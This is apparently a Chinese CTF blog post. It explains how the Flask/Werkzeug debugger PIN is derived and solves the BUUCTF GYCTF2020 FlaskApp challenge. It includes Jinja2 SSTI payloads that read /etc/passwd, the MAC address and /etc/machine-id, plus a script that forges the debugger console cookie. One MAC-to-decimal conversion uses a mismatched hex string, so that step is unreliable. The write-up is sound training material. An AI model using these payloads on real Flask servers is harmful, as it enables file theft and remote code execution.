Python PIN 码

Python PIN 码

学习一下PIN码

PIN 码

Flask 里的 PIN 指的是:Debugger PIN(调试器密码),当 Flask 开启 Debug 模式后,可以通过 PIN 码的方式进入调试模式,运行命令 。

环境搭建

启动一个 Flask 项目,注意要开启 debug 。

python
from flask import Flask

app = Flask(__name__)

@app.route('/')
def hello_world():  # put application's code here
    return 'Hello World!'

if __name__ == '__main__':
    app.run(debug=True)

可以在终端看到 PIN 码。

text
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 454-810-314

然后访问 http://127.0.0.1:5000/console

PIN 码计算

PIN 由 6 个参数计算出来。

  1. username 运行该Flask程序的用户名,通过 /etc/passwd 或者 getpass.getuser() 读取。
  2. modname 模块名,通过getattr(app, "__module__", t.cast(object, app).__class__.__module__)读取,默认是flask.app
  3. appname app名,通过getattr(app, "__name__", type(app).__name__) 读取,默认是 Flask
  4. moddir 文件路径,通过getattr(mod, "__file__", None) 读取,一般可以通过查看 debug 报错信息获得,Python3是 app.py,Python2 中是 app.pyc 。
  5. uuid 电脑 mac 地址的十进制数,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,去掉 : 转化为10进制数。
  6. machine_id 首先读取 /etc/machine-id,如果有值就停止 ,否则读取/proc/sys/kernel/random/boot_id,接着读取 /proc/self/cgroup,取第一行的最后一个斜杠 / 后面的字符串,与上面的拼接起来。self 过滤可以用相关进程的 pid 去替换,其实1就行。cgroup过滤可以考虑mountinfo或者cpuset

源码在werkzeug/debug/__init__.py,我们去看下相应的代码。前四个参数通过get_pin_and_cookie_name 获得。

PIN 码计算和 Werkzeug 的版本有关,这里有大佬写的两个版本的pin码计算脚本。

werkzeug 1.0.x

werkzeug >= 2.0.x

有的题目可能还要拿到 cookie 才能进入 console ,有师傅分析了这个流程,给个链接https://www.cnblogs.com/m1xian/p/18528813,只要知道 Pin 就能算出来。

python
import hashlib
import time


# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('xxx-xxx-xxx')}")

注意Werkzeug > 3.0.3版本时,仅支持回环地址或 localhost ,正常访问/console会返回400,Host 改为回环地址或者localhost 就可以访问了。

GYCTF2020FlaskApp

BUUCTF 有这道题,进入环境有三个功能,加密、解密、提示,提示里面有 PIN ,是 PIN 码相关的。访问/console 发现确实开了 debug ,那下面就去算 PIN 。

加密功能发现不管输入啥都直接返回 base64 后的,不能 SSTI ,想到可不可以把加密后的给解密,然后注入。

这道题可以用 PIN 的做,但是有过滤,先跑一下过滤了啥。

结果在下面:

python
system
self
flag
eval
import
os
popen
{{7*7}}

然后可以用 PIN 做,解密随便输入点看下报错,路径有了/usr/local/lib/python3.7/site-packages/flask/app.py

然后看 username ,这里有一个师傅的更牛的 payload ,链接[ssti进阶({%%}控制语句,内存马) - 落山机糊人 - 博客园](https://www.cnblogs.com/lx207/articles/19322753)

python
{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
	{%endif%}
{%endfor%}

是 flaskweb 。

看 mac 地址。

python
{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() }}
	{%endif%}
{%endfor%}

是 32:22:b3:04:b3:5f ,转十进制,int('3226cd628848',16),是 55142235932744。

看 machine_id 。

python
{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
	{%endif%}
{%endfor%}

是 1408f836b0ca514d796cbf8960e45fa1 。

跑一下 PIN 。

得到 154-227-144 ,进入 console,命令执行就行。当然,拿到过滤信息也可以直接构造绕过,这里不再放 payload 。

Linux的proc文件系统
SSTI 漏洞

评论区

评论加载中...